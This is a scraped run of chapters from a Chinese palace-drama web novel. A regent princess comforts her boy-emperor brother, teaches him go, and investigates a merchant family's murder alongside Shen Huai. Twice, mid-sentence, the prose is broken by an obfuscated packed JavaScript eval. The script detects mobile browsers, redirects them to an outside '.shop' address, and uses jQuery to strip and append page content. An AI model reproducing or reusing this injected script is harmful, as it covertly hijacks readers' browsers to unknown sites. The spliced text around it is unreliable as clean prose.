沈淮沉默了一瞬,然后开口。 “殿下若想护住陛下,光靠‘不想管’是不够的。”他说,“有些事,您不想管,也会找上您。到时候,您是被动应付,还是主动应对,结果会完全不同。” 昀宁看着他。 “你这是在教本宫做事?” 沈淮摇了摇头。 “臣不是教殿下做事。”他说,“臣只是觉得,殿下……不该是只会躲在珠帘后面的人。” 说完,他躬身一礼,转身走了。 昀宁站在原地,看着他的背影越走越远,最后消失在甬道的尽头。 阳光落下来,把红墙照得有些刺眼。 她忽然想起韩彰说过的话——“您站在那个位置上,有些事就会自己找上您。” 是的。 有些事,会自己找上她。 她已经躲不掉了。 ——第三章完—— 4. 金枝玉叶 4 国丧过后,日子像是被抽去了筋骨,软塌塌地往下坠。 昀宁每日卯时起身,去乾清宫看昀昭上朝,午时陪他用膳,申时督促他温书习字,戌时看着他睡下,再回摘星阁。日复一日,像是一架被上好发条的铜漏,走得精准,却不知今夕何夕。 这一日,昀宁照例去乾清宫,却扑了个空。 “陛下呢?”她问门口的太监。 太监低着头,声音发虚:“回殿下,陛下去……去了东宫。” 昀宁微微皱眉。 昀昭登基后,本该住在乾清宫,但他总说那里太大、太空,睡不着。昀宁便由着他,白日里在乾清宫理政,夜里依旧回东宫安歇。只是这会儿才辰时,他刚下朝不久,不去御书房温书,跑回东宫做什么? 她没让人通报,独自往东宫走去。 东宫的门虚掩着,里面静悄悄的。 昀宁推开门,一眼就看见了昀昭。 他坐在廊下,背靠着柱子,脑袋一点一点的,竟是睡着了。旁边散落着几本书——《资治通鉴》《贞观政要》《帝范》,都是韩彰给他列的必读书目。有一本摊开着,被风吹得哗哗响。 昀宁站在门口,看了他很久。 十二岁的孩子,脸上还带着婴儿肥,睡着的时候眉头却皱得紧紧的,像是在做什么不好的梦。他的孝服还没换下来,白色的麻衣在阳光下有些刺眼,袖口蹭了一块灰,大概是靠在柱子上时沾上的。 昀宁走过去,在他身边坐下。 她没有叫醒他,只是把那些散落的书一本本捡起来,理好,放在旁边。然后她就坐在那里,看着院子里的槐树发呆。 槐花开得正好,一串串白色的花朵挂在枝头,风一吹,就有细碎的花瓣飘落下来,落在青石板上,落在昀昭的衣摆上,也落在昀宁的肩头。 “皇姐?” 昀昭的声音把她从发呆中拉回来。 她偏过头,看见昀昭已经醒了,正揉着眼睛看她,眼神还有些迷糊。 “醒了?”昀宁说,“怎么不在乾清宫温书,跑回这里睡觉?” 昀昭低下头,不说话。 昀宁也不追问,只是伸手把他肩头的花瓣拈掉。 “昨夜没睡好?” 昀昭点点头。 “做噩梦了?” 昀昭又点点头,过了一会,小声说:“梦见父皇了。” 昀宁的手顿了顿。 “梦见父皇站在很远的地方,我叫他,他不理我,转身走了。”昀昭的声音越来越小,“我怎么追都追不上。” 昀宁没有说话。 她伸出手,把昀昭揽进怀里。 昀昭没有挣扎,只是把脸埋在她肩头,闷闷地说:“皇姐,我想父皇。” 昀宁轻轻拍着他的背,一下一下,像小时候母后哄他们睡觉时那样。 “我知道。”她说。 “我也想做个好皇帝,可是我什么都不会。那些人说的那些话,我听都听不懂。韩阁老给我讲的那些书,我看也看不进去。”昀昭的声音带着哭腔,却死死忍着,不让眼泪掉下来,“皇姐,我是不是很没用?” 昀宁的手停了一瞬,然后继续拍着他的背。 “你不是没用。”她说,“你只是还小。” “可是父皇十二岁的时候,已经……” “父皇是父皇,你是你。”昀宁打断他,声音很轻,却很稳,“你不需要和任何人比。你只需要做好你能做的事,剩下的,有姐姐。” 昀昭抬起头看她,眼睛红红的,却没有哭。 “皇姐,你会一直在吗?” 昀宁看着他。 阳光下,他的眼睛亮亮的,像是有星星在里面。那张还带着婴儿肥的脸上,写满了依赖和不安,还有一种她说不清的东西——那是一个孩子在确认自己是否被抛弃时,才会有的眼神。 “会。”她说,“姐姐一直都在。” 昀昭终于笑了,笑得很轻,像是怕惊动什么。 昀宁也笑了笑,伸手揉了揉他的头发。 “走吧,陪姐姐去个地方。” “去哪儿?” “御花园。”昀宁站起身,拍了拍身上的花瓣,“你多久没出去走走了?” 昀昭想了想,摇摇头。 他确实不记得了。登基之后,他每天都被各种事务包围着,上朝、听政、温书、习字,像是一只被关在笼子里的鸟,连抬头看看天的时间都没有。 “那今天就不温书了。”昀宁说,“姐姐带你去看鱼。” 御花园的西边有一个小池塘,不大,水也不深,却养着许多锦鲤。红的、白的、金的、黑的,在水里游来游去,偶尔跃出水面,溅起一朵水花。 昀宁和昀昭坐在池塘边的石头上,一人手里拿着一块糕饼,掰碎了往水里扔。锦鲤们争先恐后地涌过来,挤成一团,嘴巴一张一合的,像是在抢食,又像是在吵架。 “皇姐,你看那条!”昀昭指着一尾金红色的锦鲤,笑得眼睛都弯了,“它好胖!” 昀宁顺着他的手指看过去,果然看见一条胖乎乎的锦鲤,圆滚滚的肚子,游起来一扭一扭的,像是吃得太饱,走不动路。 “它大概是这条池塘里吃得最多的。”昀宁说。 “那我以后少吃点。”昀昭一本正经地说,“我可不想变成那样。” 昀宁忍不住笑了。 她已经很久没有这样笑过了。 自从父皇病重,她就像是被一根无形的绳子勒住了喉咙,喘不过气来,也笑不出来。每天睁眼闭眼都是那些事——昀昭的安危、朝中的动静、几位皇叔的眼神、那些她看不懂也躲不开的暗流。 但此刻,看着昀昭的笑脸,看着那些抢食的锦鲤,看着头顶的蓝天白云,她忽然觉得,那些事好像也没有那么重。 至少这一刻,没有那么重。 “皇姐,”昀昭忽然问,“你说,那些鱼,它们会打架吗?” 昀宁想了想:“应该会吧。” “那它们打完架,还会一起玩吗?” 昀宁愣了一下,没有立刻回答。 她看着那些锦鲤,红的白的金的黑的,挤在一起抢食,挤完之后又各自散开,有的游到东边,有的游到西边,有的沉到水底,有的浮在水面。 “也许会的。”她说,“鱼没有那么多记性,打完就忘了。” 昀昭低下头,若有所思。 “那人和鱼不一样。”他说,“人打完架,会一直记着。” 昀宁看着他。 十二岁的孩子,说出这样的话,让她有些意外。 “谁告诉你的?” 昀昭摇摇头:“没人告诉我。我自己看见的。” 他顿了顿,小声说:“那天在朝堂上,我看见大皇叔看皇姐的眼神。他不喜欢皇姐。” 昀宁没有说话。 “我也不喜欢他。”昀昭说,“可是我不能说。我是皇帝,皇帝不能说不喜欢谁。” 昀宁看着他,心里忽然涌起一股说不清的情绪。 有欣慰,有心疼,还有一丝隐约的恐惧。 欣慰的是,他比她想得更懂事。心疼的是,他这么小,就要懂这些。恐惧的是,她不知道自己能不能护住他,能护多久。 “昀昭。”她开口。 昀昭抬起头看她。 “你不需要喜欢所有人。”昀宁说,“但你要学会和所有人相处。这是皇帝该做的事。” 昀昭点点头,又想了想,问:“那皇姐呢?皇姐喜欢谁?” 昀宁的心跳漏了一拍。 喜欢谁? 她脑子里忽然闪过一张脸——剑眉星目,眼睛亮亮的,像是山间清泉洗过的星子。 但她很快就把那张脸压了下去。 “姐姐喜欢的人不多。”她说,“姐姐喜欢父皇,喜欢母后,喜欢你。” “还有呢?” “没有了。” 昀昭歪着头看她,似乎不太相信,却没有追问。他只是继续往池塘里扔糕饼,看着那些锦鲤抢食,笑得眉眼弯弯。 昀宁看着他的侧脸,忽然想起一件事。 “昀昭,你会下棋吗?” 昀昭摇摇头:“父皇教过我一点,但我学得不好。” “那姐姐教你。”昀宁说,“明天开始,每天下午,姐姐来东宫教你下棋。” 昀昭眼睛一亮:“真的?” “真的。” “可是韩阁老说,我要学的还有很多……” “下棋也是要学的。”昀宁打断他,“下棋能让人学会思考,学会布局,学会取舍。皇帝要学的,不只是那些书上的道理。” 昀昭似懂非懂地点点头,然后笑了。 “好,那我跟皇姐学。” 那天下午,昀宁没有回摘星阁,一直在东宫待到天黑。 她和昀昭下了三盘棋。昀昭确实学得不好,连最基本的定式都记不住,总是下着下着就把自己绕进去了。但他很认真,每一步都会想很久,输了也不恼,只是皱着眉头看棋盘,像是在和自己较劲。 第三盘下完,天已经黑了。 昀宁站起身,准备回摘星阁。昀昭送她到门口,忽然拉住她的袖子。 “皇姐。” 昀宁回头。 昀昭看着她,犹豫了一下,小声说:“明天……还来吗?” 昀宁看着他的眼睛,那双眼睛里,有期待,有不安,还有一丝小心翼翼的试探。 她忽然想起,父皇刚走的那几天,昀昭每天晚上都会做噩梦,醒了就哭,哭了就喊“父皇”“皇姐”。后来她不放心,就每晚都去东宫看他,等他睡着了才走。再后来,他不再做噩梦了,她也就不再每晚都去了。 但她不知道,他是不是还在等她。 “来。”她说,“姐姐每天都来。” 昀昭的眼睛亮了一下,随即又暗下去。 “可是皇姐很忙……” “再忙也有时间陪你。”昀宁伸手揉了揉他的头发,“快去睡吧,明天还要上朝。” 昀昭点点头,松开她的袖子,转身跑回屋里。 跑到门口,他忽然停下来,回过头。 “皇姐!” 昀宁站在月光下,看着他。 “谢谢皇姐。”他说,声音小小的,却很清楚,“谢谢你陪我。” 然后他跑进屋,关上了门。 昀宁站在原地,看着那扇关上的门,许久没有动。 月光落下来,把她的影子拉得很长。 她忽然想起很多年前,那时候她还很小,母后还活着。有一次她做噩梦醒来,哭着去找母后。母后抱着她,轻轻拍着她的背,说:“不怕,母后在。” 后来母后不在了。 再后来,父皇也不在了。 现在,她是昀昭的“母后”了。 她不知道自己做得好不好。她只知道,她会尽力去做。 就像母后对她做的那样。 那天夜里,昀宁回到摘星阁,坐在窗前,看着外面的月亮。 月亮很圆,很亮,像是一面银盘。 她想起下午在池塘边,昀昭问她:“皇姐喜欢谁?” 她想起自己说:“没有了。” 但她知道,这不是真话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316905|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她喜欢一个人。 那个人有一双亮亮的眼睛,笑起来像是山间的清泉。那个人在她最狼狈的时候扶了她一把,递给她一只兔子面具。那个人在朝堂上站出来,说“长公主殿下该参与此事”。 那个人叫沈淮。 可是她不能说。 她是大燕的嫡长公主,是当今天子的胞姐。她站在那个位置上,一步都不能错。她的喜欢,不能只是喜欢。她的不喜欢,也不能只是不喜欢。 她必须把所有的情绪都收起来,藏好,藏到没有人能看见的地方。 包括对昀昭的心疼。 包括对沈淮的…… 她没再想下去。 她只是看着窗外的月亮,看着月光落在那只兔子面具上。面具就放在枕边,两只红红的眼睛,在月光下像是两滴凝固的血。 她伸手摸了摸那只面具,然后闭上眼睛。 明天,又是新的一天。 第二天下午,昀宁如约去了东宫。 她带了一副棋盘,是父皇留给她的。棋盘是檀木做的,摸上去温润光滑,带着淡淡的木香。棋子是和田玉的,白子温润如玉,黑子漆黑如墨,落在棋盘上,声音清脆。 昀昭见了这副棋盘,眼睛都亮了。 “这是父皇的?” 昀宁点点头。 “父皇以前常用这副棋盘和韩阁老下棋。”她说,“有时候一局能下一整天。” 昀昭小心翼翼地摸了摸棋盘,又摸了摸棋子,像是在摸什么珍贵的宝贝。 “皇姐,你舍得借我用?” 昀宁笑了。 “不是借。”她说,“是送给你。” 昀昭愣了一下,随即摇头:“不行不行,这是父皇留给皇姐的,我不能要。” “父皇留给我的,就是我的。”昀宁说,“我的就是你的。拿着吧。” 昀昭看着她,眼眶有点红。 “皇姐……” “不许哭。”昀宁打断他,“下棋的时候不许哭。” 昀昭把眼泪憋回去,用力点点头。 那天下午,他们下了两盘棋。 第一盘,昀昭输得很快,不到半个时辰就全军覆没。他盯着棋盘看了很久,然后抬起头问:“皇姐,我是不是下得很差?” 昀宁想了想,说:“是。” 昀昭的脸垮下来。 “但是没关系。”昀宁说,“谁都是一开始下得很差。姐姐刚开始学的时候,输得比你还快。” 昀昭不信:“真的?” “真的。”昀宁说,“父皇那时候让了我九个子,我还是输了。” 昀昭眨眨眼,忽然笑了。 “那皇姐现在能赢父皇吗?” 昀宁沉默了一瞬。 “父皇走了。”她说,“姐姐再也没有机会和父皇下了。” 昀昭的笑容僵在脸上。 他低下头,看着棋盘,不说话。 过了很久,他小声说:“皇姐,对不起。” 昀宁摇摇头。 “不用对不起。”她说,“父皇不在了,但姐姐还在。姐姐陪你下。” 昀昭抬起头,看着她。 那双眼睛里,有难过,有歉疚,还有一种她说不清的东西。 昀宁笑了笑,伸手揉了揉他的头发。 “来,再下一盘。这次姐姐教你一个定式。” 那天之后,每天下午,昀宁都会去东宫,陪昀昭下棋。 有时候下两盘,有时候下三盘,有时候一盘都下不完,就被韩彰或者其他大臣打断。但不管多忙,只要昀宁在京里,她都会去。 昀昭的棋艺进步很快。他本来就聪明,只是之前没人好好教。跟着昀宁学了半个月,已经能勉强和她过上几十手了。 有一次,他甚至险胜了半目。 那盘棋下完,他高兴得差点跳起来,拉着昀宁的袖子不放。 “皇姐!我赢了!我赢了!” 昀宁看着他那张兴奋的脸,忍不住笑了。 “嗯,你赢了。” “皇姐是不是让了我?” “没有。”昀宁说,“姐姐尽力了。” 昀昭盯着她看了半天,似乎不太相信,但又忍不住高兴。 “那我是不是很厉害?” 昀宁想了想,说:“还算可以。” 昀昭不满意这个评价,但也没再追问。他只是一遍一遍地看着棋盘,像是在回味刚才那场胜利。 昀宁看着他,忽然觉得,这样的日子,如果能一直过下去,该有多好。 但她知道,不会的。 朝中的暗流从来没有停止过。几位皇叔依旧每日上朝,依旧用那种她看不透的眼神看着她。西北的胡人依旧在边境劫掠,战报一封接一封地送进京城。户部的亏空依旧没有补上,各地的税银依旧收不上来。 那些事,一直都在。 只是她暂时不去想而已。 但不去想,不代表不存在。 那一夜,昀宁回到摘星阁,在窗前坐了许久。 月光落在她脸上,像是铺了一层薄薄的霜。 她想起母后临终前说的话。 “昀宁,护着你弟弟,这是你的命。” 她想起自己那时候不懂,什么叫“你的命”。 现在她懂了。 她的命,就是站在昀昭身后,替他挡住所有的风雨。 哪怕那些风雨会把她淋得透湿,会把她打得遍体鳞伤。 她没有得选。 雨没有得选。 她也没有。 ——第四章完—— 5. 金枝玉叶 5 昀宁接到那张状子的时候,正在东宫陪昀昭下棋。 “殿下,”阿蘅匆匆走进来,手里捧着一卷文书,“京兆尹府送来的,说是有要紧事。” 昀宁接过文书,展开看了一眼,眉头微微皱起。 昀昭探过头来:“皇姐,怎么了?” “没什么。”昀宁把文书合上,“京里出了桩案子,京兆尹府拿不定主意,想请宫里派人去看看。” 昀昭眨眨眼:“什么案子?” 昀宁沉默了一瞬。 “杀人案。”她说,“死了三个人。” 昀昭的脸色变了一变,但他没有追问,只是看着昀宁。 “皇姐要去吗?” 昀宁想了想,点点头。 “京兆尹府既然递了状子,说明这案子不简单。”她说,“姐姐去看看。” 昀昭“哦”了一声,低下头,继续看着棋盘。过了片刻,他又抬起头。 “皇姐,你什么时候回来?” 昀宁看着他,心里软了一下。 “不会太久。”她说,“你先自己琢磨琢磨这盘棋,等姐姐回来,咱们接着下。” 昀昭点点头,又补了一句:“皇姐小心。” 昀宁笑了笑,起身往外走。 走到门口,她忽然停下来,回头看了一眼。 昀昭坐在棋盘前,小小的身影在午后的阳光里显得有些孤单。他低着头,盯着棋盘,像是在研究什么。 昀宁收回目光,推门走了出去。 京兆尹府在城西,离皇城不远。 昀宁坐着马车,一路穿街过巷,最后停在一座灰扑扑的衙门前。门口站着两个衙役,见马车停下,连忙上前行礼。 昀宁下了车,阿蘅跟在身后。 “殿下,”一个师爷模样的人迎上来,点头哈腰,“下官京兆尹府主簿周文,恭迎殿下。” 昀宁点点头:“案子在哪儿?” 周文愣了一下,似乎没想到这位公主殿下如此直接。他连忙侧身引路:“殿下请随下官来。” 京兆尹府的后面是一个小院,院里停着三具尸体,用白布盖着。旁边站着几个仵作,正在低声议论什么。见昀宁进来,他们连忙行礼。 昀宁走到尸体旁边,掀开第一块白布。 那是一具男尸,四十岁上下,穿着寻常百姓的衣服,脸色青白,眼睛睁得大大的,死相狰狞。他的脖子上有一道深深的勒痕,勒痕边缘发黑,像是被什么东西勒死的。 “此人姓王,是城东的布商。”周文在一旁解释,“五天前被人发现死在家中,脖子上有勒痕,初步判定是被人勒死的。” 昀宁没有说话,又掀开第二块白布。 这是一具女尸,三十岁左右,面容清秀,穿着还算体面。她的脖子上也有一道勒痕,和王姓布商的一模一样。 “这是王布商的妻子。”周文说,“死在同一时间,同一地点。” 昀宁看了他一眼:“夫妻二人同时被杀?” “是。” 昀宁没有继续问,而是掀开第三块白布。 这是一个孩子,七八岁,男孩,瘦瘦小小的,脸色苍白如纸。他的脖子上也有一道勒痕。 昀宁的手顿住了。 周文的声音变得有些沉重:“这是王布商的独子,今年八岁。” 昀宁看着那个孩子,看了很久。 孩子的眼睛闭着,脸上没有痛苦的表情,像是睡着了一样。但他的脖子上那道深深的勒痕,告诉所有人,他不是睡着,是死了。 被勒死的。 一家三口,同时被杀。 “凶手抓到了吗?”昀宁问。 周文摇摇头:“还没有。但……” 他犹豫了一下,压低声音:“下官斗胆,这案子,可能牵扯到一些……不好说的人。” 昀宁转过头看他。 “什么意思?” 周文没有直接回答,而是从袖中取出一张纸,双手呈上。 “殿下请看。” 昀宁接过来,展开。 那是一张地契,上面写着城东某处宅院的地址,户主一栏写着三个字—— 沈家。 昀宁的目光在那两个字上停了一瞬。 “这是从王布商家搜出来的?”她问。 “是。”周文说,“藏得很隐蔽,是衙役搜查时偶然发现的。下官不敢声张,只好递了状子,请宫里派人来。” 昀宁没有立刻说话。 她看着那张地契,看着上面那个“沈”字,脑子里忽然闪过一张脸。 剑眉星目,眼睛亮亮的。 沈淮。 “沈家的地契,为何会在一个布商家里?”她问。 周文摇摇头:“下官不知。但这王布商生前,曾与沈家有些往来。具体是什么往来,下官查不出来。沈家的人,下官也不敢去问。” 昀宁把地契折起来,收进袖中。 “还有别的线索吗?” 周文想了想,说:“有一个证人。” “什么证人?” “王布商的邻居,一个卖豆腐的老汉。他说案发当夜,曾看见有人从王家出来。但他年纪大了,眼神不好,没看清那人的脸。只记得那人穿一身玄色的衣裳,身量很高。” 玄色的衣裳。 身量很高。 昀宁的心跳漏了一拍。 “那人往哪个方向去了?” 周文指了指西边:“往城西去了。” 城西。 沈家就在城西。 昀宁沉默了很久。 “那个证人呢?”她问。 周文说:“就在府里,下官让人看着,不敢放走。” 昀宁点点头:“带本宫去看看。” 卖豆腐的老汉姓陈,六十多岁,头发花白,脸上全是皱纹,像是干涸的田地。他被带进来的时候,腿都在打颤,见了昀宁,扑通一声跪下去,脑袋磕在地上,不敢抬起来。 “草民……草民参见贵人。” 昀宁让他起来,和声问:“老人家,你那天晚上,真的看清了那个人?” 陈老汉摇摇头:“没……没看清。天太黑,草民眼神不好,就看见一个黑影。” “那你如何知道那人穿的是玄色的衣裳?” 陈老汉想了想,说:“草民那几天眼睛发炎,大夫让草民用艾草水洗眼。那天晚上草民刚洗完眼,正好看见那人从王家出来。月光底下,那人衣裳的颜色,草民看得还算清楚。是玄色的,没错。” 昀宁沉吟片刻。 “那人的身量,你记得吗?” 陈老汉用手比划了一下:“大概这么高,比草民高出一个头还多。瘦瘦的,走起路来很快。” 比陈老汉高出一个头还多。 瘦瘦的。 走起路来很快。 昀宁把这些话在心里过了一遍。 京城里穿玄色衣裳、身量高瘦、走路很快的人,没有一千也有八百。单凭这些,什么都证明不了。 但那地契…… “老人家,”昀宁又问,“你以前见过那个人吗?” 陈老汉摇摇头:“没见过。那人生得很,草民从没见过。” 昀宁没有再问。 她让周文把陈老汉带下去,好好安置,不要为难他。 然后她站在院子里,看着那三具盖着白布的尸体,沉默了很久。 阿蘅站在她身后,不敢说话。 过了很久,昀宁开口。 “阿蘅,你说,沈家的人,会杀人吗?” 阿蘅吓了一跳,连忙看看四周,压低声音说:“殿下,这话可不能乱说。沈家是世家大族,小公爷人品贵重,怎么会……” “本宫没说是小公爷。”昀宁打断她。 阿蘅愣了一下,讪讪地闭上嘴。 昀宁没有再说话。 她只是站在那里,看着那些尸体,看着那些白布在风里轻轻飘动。 太阳慢慢西斜,影子越拉越长。 “殿下,”周文小心翼翼地凑过来,“天色不早了,您看这案子……” “继续查。”昀宁说,“把王布商生前的往来账目、亲戚朋友、所有和他有过交集的人,都查一遍。有任何线索,立刻报给本宫。” 周文连忙点头:“是,下官遵命。” 昀宁转身往外走。 走到门口,她忽然停下来,回头看了一眼。 那三具尸体还躺在那里,白布盖着,一动不动的。 她忽然想起那个孩子。 八岁,瘦瘦小小的,和昀昭差不多的年纪。 他也死了。 被人勒死的。 她不知道他死的时候痛不痛,不知道他有没有喊“爹”“娘”,不知道他最后的意识里,闪过的是什么。 她只知道,他死了。 一家人,都死了。 昀宁收回目光,走出京兆尹府。 马车在门口等着,阿蘅扶她上车。 “殿下,回宫吗?”车夫问。 昀宁正要说话,忽然听见一阵马蹄声。 她掀开车帘,看见一队人马从街角转过来,为首的那人穿着一身玄色的锦袍,骑着一匹白马,正朝这边过来。 沈淮。 他也看见了她。 马车停下,沈淮勒住马,隔着几步远的距离,看着她。 “殿下。”他在马上行了一礼。 昀宁点点头:“沈小公爷。” 沈淮看了一眼她身后的京兆尹府大门,目光微微一凝。 “殿下是来查案的?” 昀宁没有否认。 “小公爷也是?” 沈淮沉默了一瞬,翻身下马,走到马车旁边。 他站在车窗外,离她只有几步远。夕阳落在他身上,给他的轮廓镀上一层淡淡的金边。 “臣听说京里出了桩人命案子。”他说,“死了三个人,一家三口。” 昀宁看着他。 “小公爷的消息倒是灵通。” 沈淮没有接她的话,只是问:“殿下查到什么了吗?” 昀宁沉默了一瞬,从袖中取出那张地契,递给他。 沈淮接过来,展开,目光落在那个“沈”字上。 他的眉头微微皱了一下,随即松开。 “这是从死者家里搜出来的?” “是。”昀宁说,“小公爷可认得这张地契?” 沈淮看了很久,摇摇头。 “臣不认得。”他说,“但这确实是沈家的地契。这上面的印章,是沈家的。” 昀宁没有说话。 沈淮把地契还给她,抬眼看她。 那双眼睛在夕阳里显得格外亮,像是山间的清泉,清澈见底。 “殿下怀疑沈家?”他问。 昀宁想了想,说:“本宫不怀疑任何人。本宫只查证据。” 沈淮看着她,看了很久。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316906|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后他忽然笑了。 那笑容很淡,淡得几乎看不出来,但昀宁看见了。 “殿下说得是。”他说,“臣也只是想查清楚。” 他顿了顿,又说:“殿下若不嫌弃,臣愿同殿下一起查这案子。” 昀宁愣了一下。 “一起?” “是。”沈淮说,“这案子既然牵扯到沈家,臣便脱不了干系。与其被动等着,不如主动去查。殿下是主审,臣是协助,如何?” 昀宁看着他,心里忽然涌起一股说不清的情绪。 她想起那天在朝堂上,他站出来,说“长公主殿下该参与此事”。她想起那天在甬道上,他说“殿下不该是只会躲在珠帘后面的人”。 现在,他说“臣愿同殿下一起来查这案子”。 “小公爷,”她开口,“你可知道,和本宫一起查案,意味着什么?” 沈淮点点头。 “臣知道。”他说,“意味着臣要把自己放在风口浪尖上。意味着有人会说臣讨好公主,居心叵测。意味着万一这案子查到最后,真是沈家的人做的,臣便是自掘坟墓。” 他顿了顿,看着她。 “但臣更知道,三条人命,不该就这么不明不白地死了。” 昀宁没有说话。 夕阳渐渐西沉,天边的云被染成一片橘红色。有风吹过,带着初夏的暖意,吹动她的车帘,也吹动他的衣摆。 他们就这样隔着车窗对视,谁都没有再说话。 过了很久,昀宁开口。 “好。” 沈淮的眼睛亮了一下。 “明日辰时,本宫会再去京兆尹府。”昀宁说,“小公爷若是有空,便一起来吧。” 沈淮躬身一礼。 “臣遵命。” 他翻身上马,朝她点点头,策马离去。 昀宁坐在马车里,看着他的背影越走越远,最后消失在街角。 “殿下,”阿蘅小声说,“您真的要让小公爷一起查案?” 昀宁没有回答。 她只是把那张地契重新折好,收进袖中。 “回宫。”她说。 马车缓缓启动,朝皇城的方向驶去。 第二天辰时,昀宁准时到了京兆尹府。 沈淮已经到了。 他站在院子里,正在和几个衙役说话。见她进来,他迎上前,行了一礼。 “殿下。” 昀宁点点头:“查到什么了吗?” 沈淮摇摇头,递给她一张纸。 “这是王布商生前的账目,臣昨夜让人去查的。”他说,“他虽是布商,但生意做得不大,每年的进项不过几百两银子。但他死前一个月,忽然多了一笔三千两的进账。” 昀宁接过账目,仔细看了一遍。 三千两。 对于一个普通布商来说,这是一笔巨款。 “这钱从哪儿来的?” 沈淮沉默了一瞬,说:“暂时还不知道。但臣有个猜测。” “什么猜测?” 沈淮看着她,目光有些复杂。 “殿下可听说过,最近有人在私下收买京中各衙门的书吏?” 昀宁的心猛地一沉。 收买书吏。 这意味着什么,她再清楚不过。 书吏虽然品级低微,但掌管着各种文书档案,知道的事情,往往比那些高高在上的官员还要多。收买书吏,就是为了打听消息,甚至是为了—— “为了什么?”她问。 沈淮压低声音:“为了废立之事。” 昀宁的手指微微收紧。 废立。 昀昭才登基不到两个月,就有人开始动这个心思了。 “王布商和这件事有什么关系?”她问。 沈淮说:“王布商有个表弟,在吏部当书吏。那个表弟,半个月前忽然辞官不干了,带着一家老小离开了京城,至今下落不明。” 昀宁沉默了很久。 “你是说,那三千两,是有人给王布商的封口费?” 沈淮点点头。 “那沈家的地契呢?” 沈淮摇摇头:“这一点,臣还没想明白。” 昀宁看着那张地契,看着上面那个“沈”字,心里忽然闪过一个念头。 “小公爷,”她说,“你之前说,你不认得这张地契?” 沈淮点头。 “那这张地契,是谁签发的,能查到吗?” 沈淮沉默了一瞬,说:“能。但需要时间。” 昀宁把地契递给他。 “你去查。”她说,“本宫去查那个书吏的下落。” 沈淮接过地契,看着她。 那双眼睛里,有什么东西在微微闪动。 “殿下,”他说,“您可知道,查这件事,会有多危险?” 昀宁没有说话。 她当然知道。 如果真的是有人在私下收买书吏,为废立之事做准备,那这个人,一定位高权重,一定心狠手辣。查到他头上,就是把自己放在刀尖上。 但她更知道,如果她不查,那把刀,迟早会落在昀昭头上。 “本宫知道。”她说。 沈淮看着她,看了很久。 然后他忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “那臣便陪殿下一起查。”他说,“查到水落石出为止。” ——第五章完—— 6. 金枝玉叶 6 昀宁回到宫里的时候,天已经黑了。 她原以为昀昭早该睡了,便直接往摘星阁走。谁知刚走到半路,就被一个小太监拦住了。 “殿下,陛下还在东宫等着您呢。” 昀宁愣了一下:“这么晚了,他怎么还不睡?” 小太监低着头:“陛下说,要等殿下回来,把白天那盘棋下完。” 昀宁沉默了一瞬,转身往东宫走去。 东宫里灯火通明,远远就能看见窗纸上映出的光影。昀宁推门进去,一眼就看见昀昭坐在棋盘前,手里捏着一枚白子,正盯着棋盘发呆。 听见脚步声,他抬起头,眼睛一下子亮了。 “皇姐!” 昀宁走过去,在他对面坐下。 “怎么还不睡?” 昀昭把白子放回棋盒,小声说:“睡不着。” 昀宁看着他。烛光下,他的脸显得有些疲惫,眼睛下面有淡淡的青色,像是很久没睡好的样子。 “做噩梦了?” 昀昭摇摇头,沉默了一会儿,忽然问:“皇姐,那个案子查得怎么样了?” 昀宁的心微微一动。 “你怎么知道是案子?” 昀昭低下头,过了片刻才说:“我让人去打听了。听说死了三个人,还有一个小孩子。” 昀宁没有说话。 昀昭抬起头看她,那双眼睛里有一种她从未见过的东西——那不是一个孩子该有的眼神。 “皇姐,那个小孩子,多大?” 昀宁沉默了一瞬,说:“八岁。” 昀昭的手指微微收紧,攥住了衣袖。 “和我差不多大。”他说。 昀宁看着他,心里忽然涌起一股酸涩。 “昀昭,”她开口,“你不必想这些。” “可是我忍不住想。”昀昭打断她,声音有些发颤,“那个小孩子,他死的时候,会不会害怕?会不会想他爹娘?会不会……” 他说不下去了。 昀宁伸出手,握住他的手。 那只手很小,很凉,微微颤抖着。 “昀昭,”她说,声音很轻,“姐姐会查清楚的。那个孩子,不会白死。” 昀昭抬起头看她,眼眶红红的,却没有哭。 “皇姐,你答应我。” “答应什么?” 昀昭抿了抿嘴唇,一字一句地说:“不管查到谁,都不要放过他。” 昀宁看着他,看了很久。 然后她点点头。 “好。”她说,“姐姐答应你。” 那天夜里,昀宁没有回摘星阁,就留在东宫,陪昀昭把那盘棋下完了。 昀昭输了。 但他没有像往常那样懊恼,只是盯着棋盘,沉默了很久。 “皇姐,”他忽然说,“我以后,要做个好皇帝。” 昀宁看着他。 “为什么?” 昀昭想了想,说:“因为我不想再有人像那个小孩子一样,死了也没人管。” 昀宁的心像是被什么东西狠狠揪了一下。 她伸出手,把昀昭揽进怀里。 昀昭没有挣扎,只是把脸埋在她肩头,闷闷地说:“皇姐,我是不是很没用?” 昀宁轻轻拍着他的背。 “你不是没用。”她说,“你只是还小。等长大了,你会是个好皇帝的。” 昀昭没有说话,只是把她抱得更紧了一些。 窗外,月亮渐渐西沉。 夜色正浓。 第二天一早,沈淮就派人送来了消息。 那个书吏的下落,查到了。 